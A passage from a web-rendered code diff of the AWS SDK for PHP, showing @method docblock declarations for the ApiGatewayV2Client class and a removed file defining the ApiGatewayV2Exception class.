* @method \GuzzleHttp\Promise\Promise createIntegrationAsync(array $args = [])
|
||||
* @method \Aws\Result createIntegrationResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createIntegrationResponseAsync(array $args = [])
|
||||
* @method \Aws\Result createModel(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createModelAsync(array $args = [])
|
||||
* @method \Aws\Result createRoute(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createRouteAsync(array $args = [])
|
||||
* @method \Aws\Result createRouteResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createRouteResponseAsync(array $args = [])
|
||||
* @method \Aws\Result createStage(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createStageAsync(array $args = [])
|
||||
* @method \Aws\Result createVpcLink(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createVpcLinkAsync(array $args = [])
|
||||
* @method \Aws\Result deleteAccessLogSettings(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteAccessLogSettingsAsync(array $args = [])
|
||||
* @method \Aws\Result deleteApi(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteApiAsync(array $args = [])
|
||||
* @method \Aws\Result deleteApiMapping(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteApiMappingAsync(array $args = [])
|
||||
* @method \Aws\Result deleteAuthorizer(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteAuthorizerAsync(array $args = [])
|
||||
* @method \Aws\Result deleteCorsConfiguration(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteCorsConfigurationAsync(array $args = [])
|
||||
* @method \Aws\Result deleteDeployment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteDeploymentAsync(array $args = [])
|
||||
* @method \Aws\Result deleteDomainName(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteDomainNameAsync(array $args = [])
|
||||
* @method \Aws\Result deleteIntegration(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteIntegrationAsync(array $args = [])
|
||||
* @method \Aws\Result deleteIntegrationResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteIntegrationResponseAsync(array $args = [])
|
||||
* @method \Aws\Result deleteModel(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteModelAsync(array $args = [])
|
||||
* @method \Aws\Result deleteRoute(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteRouteAsync(array $args = [])
|
||||
* @method \Aws\Result deleteRouteRequestParameter(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteRouteRequestParameterAsync(array $args = [])
|
||||
* @method \Aws\Result deleteRouteResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteRouteResponseAsync(array $args = [])
|
||||
* @method \Aws\Result deleteRouteSettings(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteRouteSettingsAsync(array $args = [])
|
||||
* @method \Aws\Result deleteStage(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteStageAsync(array $args = [])
|
||||
* @method \Aws\Result deleteVpcLink(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteVpcLinkAsync(array $args = [])
|
||||
* @method \Aws\Result exportApi(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise exportApiAsync(array $args = [])
|
||||
* @method \Aws\Result resetAuthorizersCache(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise resetAuthorizersCacheAsync(array $args = [])
|
||||
* @method \Aws\Result getApiResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getApiResourceAsync(array $args = [])
|
||||
* @method \Aws\Result getApiMapping(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getApiMappingAsync(array $args = [])
|
||||
* @method \Aws\Result getApiMappings(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getApiMappingsAsync(array $args = [])
|
||||
* @method \Aws\Result getApis(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getApisAsync(array $args = [])
|
||||
* @method \Aws\Result getAuthorizer(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getAuthorizerAsync(array $args = [])
|
||||
* @method \Aws\Result getAuthorizers(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getAuthorizersAsync(array $args = [])
|
||||
* @method \Aws\Result getDeployment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDeploymentAsync(array $args = [])
|
||||
* @method \Aws\Result getDeployments(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDeploymentsAsync(array $args = [])
|
||||
* @method \Aws\Result getDomainName(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDomainNameAsync(array $args = [])
|
||||
* @method \Aws\Result getDomainNames(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDomainNamesAsync(array $args = [])
|
||||
* @method \Aws\Result getIntegration(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getIntegrationAsync(array $args = [])
|
||||
* @method \Aws\Result getIntegrationResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getIntegrationResponseAsync(array $args = [])
|
||||
* @method \Aws\Result getIntegrationResponses(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getIntegrationResponsesAsync(array $args = [])
|
||||
* @method \Aws\Result getIntegrations(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getIntegrationsAsync(array $args = [])
|
||||
* @method \Aws\Result getModel(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getModelAsync(array $args = [])
|
||||
* @method \Aws\Result getModelTemplate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getModelTemplateAsync(array $args = [])
|
||||
* @method \Aws\Result getModels(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getModelsAsync(array $args = [])
|
||||
* @method \Aws\Result getRoute(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getRouteAsync(array $args = [])
|
||||
* @method \Aws\Result getRouteResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getRouteResponseAsync(array $args = [])
|
||||
* @method \Aws\Result getRouteResponses(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getRouteResponsesAsync(array $args = [])
|
||||
* @method \Aws\Result getRoutes(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getRoutesAsync(array $args = [])
|
||||
* @method \Aws\Result getStage(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getStageAsync(array $args = [])
|
||||
* @method \Aws\Result getStages(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getStagesAsync(array $args = [])
|
||||
* @method \Aws\Result getTags(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getTagsAsync(array $args = [])
|
||||
* @method \Aws\Result getVpcLink(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getVpcLinkAsync(array $args = [])
|
||||
* @method \Aws\Result getVpcLinks(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getVpcLinksAsync(array $args = [])
|
||||
* @method \Aws\Result importApi(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise importApiAsync(array $args = [])
|
||||
* @method \Aws\Result reimportApi(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise reimportApiAsync(array $args = [])
|
||||
* @method \Aws\Result tagResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise tagResourceAsync(array $args = [])
|
||||
* @method \Aws\Result untagResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise untagResourceAsync(array $args = [])
|
||||
* @method \Aws\Result updateApi(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateApiAsync(array $args = [])
|
||||
* @method \Aws\Result updateApiMapping(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateApiMappingAsync(array $args = [])
|
||||
* @method \Aws\Result updateAuthorizer(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateAuthorizerAsync(array $args = [])
|
||||
* @method \Aws\Result updateDeployment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateDeploymentAsync(array $args = [])
|
||||
* @method \Aws\Result updateDomainName(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateDomainNameAsync(array $args = [])
|
||||
* @method \Aws\Result updateIntegration(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateIntegrationAsync(array $args = [])
|
||||
* @method \Aws\Result updateIntegrationResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateIntegrationResponseAsync(array $args = [])
|
||||
* @method \Aws\Result updateModel(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateModelAsync(array $args = [])
|
||||
* @method \Aws\Result updateRoute(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateRouteAsync(array $args = [])
|
||||
* @method \Aws\Result updateRouteResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateRouteResponseAsync(array $args = [])
|
||||
* @method \Aws\Result updateStage(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateStageAsync(array $args = [])
|
||||
* @method \Aws\Result updateVpcLink(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateVpcLinkAsync(array $args = [])
|
||||
*/
|
||||
class ApiGatewayV2Client extends AwsClient {}
|
||||
@@ -1,9 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\ApiGatewayV2\Exception;
|
||||
|
||||
use Aws\Exception\AwsException;
|
||||
|
||||
/**
|
||||
* Represents an error interacting with the **AmazonApiGatewayV2** service.
|
||||
*/
|
||||
class ApiGatewayV2Exception extends AwsException {}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user